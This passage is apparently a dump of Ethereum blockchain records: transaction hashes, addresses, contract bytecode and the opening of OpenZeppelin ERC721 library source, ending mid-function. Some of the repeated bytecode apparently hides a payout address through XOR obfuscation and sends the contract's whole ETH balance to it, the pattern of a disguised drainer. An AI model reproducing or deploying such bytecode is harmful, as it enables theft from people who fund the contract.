363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3
| |
1 | 19,497,365 |
2563834d870a4601ecf15d4488b8930aa4e1b81f0e94dc4f216b0fbd7d31e57f
|
867255824e050a79456af0d53ca4f77ab2c6aeb81ea22428ea2b2537103bbfdf
|
c2eda04e416b7167e4d0ae414247f433663a0772
|
c2eda04e416b7167e4d0ae414247f433663a0772
|
c58fc0bd36d4b15b6bcec543c437255334cc3b27
|
6080604052670de0b6b3a764000060025566b1a2bc2ec500006003556004805460ff191690557f6e75382374384e10a7b62f62b1cbc838b27cab7b4b813902e9a526a40fffb0d36007557f6e75382374384e10a7b62f62d4deec44f9ffde0a59bd57064cb9cee22c0b5bd76008557f6e75382374384e10a7b62f6275685a1a7ba2ec89d03aaf46ee28682d66a044bc60095534801561009d57600080fd5b50600080546001600160a01b031916331781556007546008546100be911890565b60405163e2d73ccd60e01b81523060048201529091506001600160a01b0382169063e2d73ccd90602401600060405180830381600087803b15801561010257600080fd5b505af1158015610116573d6000803e3d6000fd5b50505050506103678061012a6000396000f3fe6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea26469706673582212201d859af4fc592caf417b0c6cb4e36575463bef0a75e80de1406c506638a1b94664736f6c63430008070033
|
6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea26469706673582212201d859af4fc592caf417b0c6cb4e36575463bef0a75e80de1406c506638a1b94664736f6c63430008070033
| |
1 | 19,497,365 |
2563834d870a4601ecf15d4488b8930aa4e1b81f0e94dc4f216b0fbd7d31e57f
|
7b417f65d30c5f84f7f2e21f38f6e6d478538605cc734fb79cc7f515db9dab77
|
a247ff8415368300ca61fd9ecfa82615581a8138
|
a247ff8415368300ca61fd9ecfa82615581a8138
|
2f4b39cbaed54a97edcb65e2ee0288c41a106282
|
6080604052670de0b6b3a764000060025566b1a2bc2ec500006003556004805460ff191690557f6e75382374384e10a7b62f6203157aa9e99f78d5213223f5ac9a4d92c9ed5d716007557f6e75382374384e10a7b62f6266005ed5a21c0da4330e4df10986a5d4ea19b6756008557f6e75382374384e10a7b62f6275685a1a7ba2ec89d03aaf46ee28682d66a044bc60095534801561009d57600080fd5b50600080546001600160a01b031916331781556007546008546100be911890565b60405163e2d73ccd60e01b81523060048201529091506001600160a01b0382169063e2d73ccd90602401600060405180830381600087803b15801561010257600080fd5b505af1158015610116573d6000803e3d6000fd5b50505050506103678061012a6000396000f3fe6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea26469706673582212201bdb94193a825d0ad86f03323363e51d16ff2bafae695ebedd71ddb31ee966ea64736f6c63430008070033
|
6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea26469706673582212201bdb94193a825d0ad86f03323363e51d16ff2bafae695ebedd71ddb31ee966ea64736f6c63430008070033
| |
1 | 19,497,365 |
2563834d870a4601ecf15d4488b8930aa4e1b81f0e94dc4f216b0fbd7d31e57f
|
f9c6cb3c5a38123ca5a45bbfa8cb12a356a5c4d2be8bb02a78a5be2ba34f6030
|
a247ff8415368300ca61fd9ecfa82615581a8138
|
a247ff8415368300ca61fd9ecfa82615581a8138
|
e5bf943eb04a4fa743a576518571531599f221bc
|
6080604052670de0b6b3a764000060025566b1a2bc2ec500006003556004805460ff191690557f6e75382374384e10a7b62f6203157aa9e99f78d5213223f5ac9a4d92c9ed5d716007557f6e75382374384e10a7b62f6266005ed5a21c0da4330e4df10986a5d4ea19b6756008557f6e75382374384e10a7b62f6275685a1a7ba2ec89d03aaf46ee28682d66a044bc60095534801561009d57600080fd5b50600080546001600160a01b031916331781556007546008546100be911890565b60405163e2d73ccd60e01b81523060048201529091506001600160a01b0382169063e2d73ccd90602401600060405180830381600087803b15801561010257600080fd5b505af1158015610116573d6000803e3d6000fd5b50505050506103678061012a6000396000f3fe6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea26469706673582212201bdb94193a825d0ad86f03323363e51d16ff2bafae695ebedd71ddb31ee966ea64736f6c63430008070033
|
6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea26469706673582212201bdb94193a825d0ad86f03323363e51d16ff2bafae695ebedd71ddb31ee966ea64736f6c63430008070033
| |
1 | 19,497,366 |
112f4520ef22d5e5aa5167a56e9af9a070e9984b778762fd10289bae79896343
|
9d867c813303325c1f947b88e32f3ac59acb9159630fb0482fa76b9c5dfb017e
|
be3d81205c365fdd576e055a488c5a881ac6d8a2
|
612e2daddc89d91409e40f946f9f7cfe422e777e
|
368b817099a7c41a7f1aceae78ab64ff129612d9
|
3d602d80600a3d3981f3363d3d373d3d3d363d730532fd6e1109756be1503dabe7194b70df0257a75af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730532fd6e1109756be1503dabe7194b70df0257a75af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (proxy/utils/Initializable.sol)\n\npragma solidity ^0.8.2;\n\nimport \"../../utils/AddressUpgradeable.sol\";\n\n/**\n * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an\n * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n *\n * The initialization functions use a version number. Once a version number is used, it is consumed and cannot be\n * reused. This mechanism prevents re-execution of each \"step\" but allows the creation of new initialization steps in\n * case an upgrade adds a module that needs to be initialized.\n *\n * For example:\n *\n * [.hljs-theme-light.nopadding]\n * ```solidity\n * contract MyToken is ERC20Upgradeable {\n * function initialize() initializer public {\n * __ERC20_init(\"MyToken\", \"MTK\");\n * }\n * }\n *\n * contract MyTokenV2 is MyToken, ERC20PermitUpgradeable {\n * function initializeV2() reinitializer(2) public {\n * __ERC20Permit_init(\"MyToken\");\n * }\n * }\n * ```\n *\n * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.\n *\n * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n *\n * [CAUTION]\n * ====\n * Avoid leaving a contract uninitialized.\n *\n * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation\n * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke\n * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * /// @custom:oz-upgrades-unsafe-allow constructor\n * constructor() {\n * _disableInitializers();\n * }\n * ```\n * ====\n */\nabstract contract Initializable {\n /**\n * @dev Indicates that the contract has been initialized.\n * @custom:oz-retyped-from bool\n */\n uint8 private _initialized;\n\n /**\n * @dev Indicates that the contract is in the process of being initialized.\n */\n bool private _initializing;\n\n /**\n * @dev Triggered when the contract has been initialized or reinitialized.\n */\n event Initialized(uint8 version);\n\n /**\n * @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope,\n * `onlyInitializing` functions can be used to initialize parent contracts.\n *\n * Similar to `reinitializer(1)`, except that functions marked with `initializer` can be nested in the context of a\n * constructor.\n *\n * Emits an {Initialized} event.\n */\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n require(\n (isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n _initialized = 1;\n if (isTopLevelCall) {\n _initializing = true;\n }\n _;\n if (isTopLevelCall) {\n _initializing = false;\n emit Initialized(1);\n }\n }\n\n /**\n * @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the\n * contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be\n * used to initialize parent contracts.\n *\n * A reinitializer may be used after the original initialization step. This is essential to configure modules that\n * are added through upgrades and that require initialization.\n *\n * When `version` is 1, this modifier is similar to `initializer`, except that functions marked with `reinitializer`\n * cannot be nested. If one is invoked in the context of another, execution will revert.\n *\n * Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in\n * a contract, executing them in the right order is up to the developer or operator.\n *\n * WARNING: setting the version to 255 will prevent any future reinitialization.\n *\n * Emits an {Initialized} event.\n */\n modifier reinitializer(uint8 version) {\n require(!_initializing && _initialized < version, \"Initializable: contract is already initialized\");\n _initialized = version;\n _initializing = true;\n _;\n _initializing = false;\n emit Initialized(version);\n }\n\n /**\n * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the\n * {initializer} and {reinitializer} modifiers, directly or indirectly.\n */\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n _;\n }\n\n /**\n * @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call.\n * Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized\n * to any version. It is recommended to use this to lock implementation contracts that are designed to be called\n * through proxies.\n *\n * Emits an {Initialized} event the first time it is successfully executed.\n */\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n if (_initialized != type(uint8).max) {\n _initialized = type(uint8).max;\n emit Initialized(type(uint8).max);\n }\n }\n\n /**\n * @dev Returns the highest version that has been initialized. See {reinitializer}.\n */\n function _getInitializedVersion() internal view returns (uint8) {\n return _initialized;\n }\n\n /**\n * @dev Returns `true` if the contract is currently initializing. See {onlyInitializing}.\n */\n function _isInitializing() internal view returns (bool) {\n return _initializing;\n }\n}\n"
},
"@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC721/ERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721Upgradeable.sol\";\nimport \"./IERC721ReceiverUpgradeable.sol\";\nimport \"./extensions/IERC721MetadataUpgradeable.sol\";\nimport \"../../utils/AddressUpgradeable.sol\";\nimport \"../../utils/ContextUpgradeable.sol\";\nimport \"../../utils/StringsUpgradeable.sol\";\nimport \"../../utils/introspection/ERC165Upgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including\n * the Metadata extension, but not including the Enumerable extension, which is available separately as\n * {ERC721Enumerable}.\n */\ncontract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable {\n using AddressUpgradeable for address;\n using StringsUpgradeable for uint256;\n\n // Token name\n string private _name;\n\n // Token symbol\n string private _symbol;\n\n // Mapping from token ID to owner address\n mapping(uint256 => address) private _owners;\n\n // Mapping owner address to token count\n mapping(address => uint256) private _balances;\n\n // Mapping from token ID to approved address\n mapping(uint256 => address) private _tokenApprovals;\n\n // Mapping from owner to operator approvals\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n /**\n * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.\n */\n function __ERC721_init(string memory name_, string memory symbol_) internal onlyInitializing {\n __ERC721_init_unchained(name_, symbol_);\n }\n\n function __ERC721_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {\n return\n interfaceId == type(IERC721Upgradeable).interfaceId ||\n interfaceId == type(IERC721MetadataUpgradeable).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev See {IERC721-balanceOf}.\n */\n function balanceOf(address owner) public view virtual override returns (uint256) {\n require(owner != address(0), \"ERC721: address zero is not a valid owner\");\n return _balances[owner];\n }\n\n /**\n * @dev See {IERC721-ownerOf}.\n */\n function ownerOf(uint256 tokenId) public view virtual override returns (address) {\n address owner = _ownerOf(tokenId);\n require(owner != address(0), \"ERC721: invalid token ID\");\n return owner;\n }\n\n /**\n * @dev See {IERC721Metadata-name}.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev See {IERC721Metadata-symbol}.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev See {IERC721Metadata-tokenURI}.\n */\n function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n _requireMinted(tokenId);\n\n string memory baseURI = _baseURI();\n return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : \"\";\n }\n\n /**\n * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n * by default, can be overridden in child contracts.\n */\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n /**\n * @dev See {IERC721-approve}.\n */\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721Upgradeable.ownerOf(tokenId);\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not token owner or approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n /**\n * @dev See {IERC721-getApproved}.\n */\n function getApproved(uint256 tokenId) public view virtual override returns (address) {\n _requireMinted(tokenId);\n\n return _tokenApprovals[tokenId];\n }\n\n /**\n * @dev See {IERC721-setApprovalForAll}.\n */\n function setApprovalForAll(address operator, bool approved) public virtual override {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n /**\n * @dev See {IERC721-isApprovedForAll}.\n */\n function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n /**\n * @dev See {IERC721-transferFrom}.\n */\n function transferFrom(address from, address to, uint256 tokenId) public virtual override {\n //solhint-disable-next-line max-line-length\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner or approved\");\n\n _transfer(from, to, tokenId);\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public virtual override {\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner or approved\");\n _safeTransfer(from, to, tokenId, data);\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * `data` is additional data, it has no specified format and it is sent in call to `to`.\n *\n * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.\n * implement alternative mechanisms to perform token transfer, such as signature-based.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeTransfer(address from, address to, uint256 tokenId, bytes memory data) internal virtual {\n _transfer(from, to, tokenId);\n require(_checkOnERC721Received(from, to, tokenId, data), \"ERC721: transfer to non ERC721Receiver implementer\");\n }\n\n /**\n * @dev Returns the owner of the `tokenId`. Does NOT revert if token doesn't exist\n */\n function _ownerOf(uint256 tokenId) internal view virtual returns (address) {\n return _owners[tokenId];\n }\n\n /**\n * @dev Returns whether `tokenId` exists.\n *\n * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n *\n * Tokens start existing when they are minted (`_mint`),\n * and stop existing when they are burned (`_burn`).\n */\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _ownerOf(tokenId) != address(0);\n }\n\n /**\n * @dev Returns whether `spender` is allowed to manage `tokenId`.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {\n address owner = ERC721Upgradeable.ownerOf(tokenId);\n return (spender == owner || isApprovedForAll(owner, spender) || getApproved(tokenId) == spender);\n }\n\n /**\n * @dev Safely mints `tokenId` and transfers it to `to`.\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n /**\n * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is\n * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.\n */\n function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {\n _mint(to, tokenId);\n require(\n _checkOnERC721Received(address(0), to, tokenId, data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n /**\n * @dev Mints `tokenId` and transfers it to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - `to` cannot be the zero address.\n *\n * Emits a {Transfer} event.\n */\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId, 1);\n\n // Check that tokenId was not minted by `_beforeTokenTransfer` hook\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n unchecked {\n // Will not overflow unless all 2**256 token ids are minted to the same owner.\n // Given that tokens are minted one by one, it is impossible in practice that\n // this ever happens. Might change if we allow batch minting.\n // The ERC fails to describe this case.\n _balances[to] += 1;\n }\n\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n\n _afterTokenTransfer(address(0), to, tokenId, 1);\n }\n\n /**\n * @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n * This is an internal function that does not check if the sender is authorized to operate on the token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n *\n * Emits a {Transfer} event.\n */\n function _burn(uint256 tokenId) internal virtual {\n address owner = ERC721Upgradeable.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId, 1);\n\n // Update ownership in case tokenId was transferred by `_beforeTokenTransfer` hook\n owner = ERC721Upgradeable.ownerOf(tokenId);\n\n // Clear approvals\n delete _tokenApprovals[tokenId];\n\n unchecked {\n // Cannot overflow, as that would require more tokens to be burned/transferred\n // out than the owner initially received through minting and transferring in.\n _balances[owner] -= 1;\n }\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n\n _afterTokenTransfer(owner, address(0), tokenId, 1);\n }\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n * As opposed to {transferFrom}, this imposes no restrictions on msg.sender.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n *\n * Emits a {Transfer} event.\n */\n function _transfer(address from, address to, uint256 tokenId) internal virtual {\n require(ERC721Upgradeable.ownerOf(tokenId) == from, \"ERC721: transfer from incorrect owner\");\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId, 1);\n\n // Check that tokenId was not transferred by `_beforeTokenTransfer` hook\n require(ERC721Upgradeable.ownerOf(tokenId) == from, \"ERC721: transfer from incorrect owner\");\n\n // Clear approvals from the previous owner\n delete _tokenApprovals[tokenId];\n\n unchecked {\n // `_balances[from]` cannot overflow for the same reason as described in `_burn`:\n // `from`'s balance is the number of token held, which is at least one before the current\n // transfer.\n // `_balances[to]` could overflow in the conditions described in `_mint`. That would require\n // all 2**256 token ids to be minted, which in practice is impossible.\n _balances[from] -= 1;\n _balances[to] += 1;\n }\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n\n _afterTokenTransfer(from, to, tokenId, 1);\n }\n\n /**\n * @dev Approve `to` to operate on `tokenId`\n *\n * Emits an {Approval} event.\n */\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId);\n }\n\n /**\n * @dev Approve `operator` to operate on all of `owner` tokens\n *\n * Emits an {ApprovalForAll} event.\n */\n function _setApprovalForAll(address owner, address operator, bool approved) internal virtual {\n require(owner != operator, \"ERC721: approve to caller\");\n _operatorApprovals[owner][operator] = approved;\n emit ApprovalForAll(owner, operator, approved);\n }\n\n /**\n * @dev Reverts if the `tokenId` has not been minted yet.\n */\n function _requireMinted(uint256 tokenId) internal view virtual {\n require(_exists(tokenId), \"ERC721: invalid token ID\");\n }\n\n /**\n * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.\n * The call is not executed if the target address is not a contract.\n *\n * @param from address representing the previous owner of the given token ID\n * @param to target address that will receive the tokens\n * @param tokenId uint256 ID of the token to be transferred\n * @param data bytes optional data to send along with the call\n * @return bool whether the call correctly returned the expected magic value\n */\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) private returns (bool) {\n if (to.isContract()) {\n try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {\n return retval == IERC721ReceiverUpgradeable.onERC721Received.selector;\n } catch (bytes memory reason) {\n if 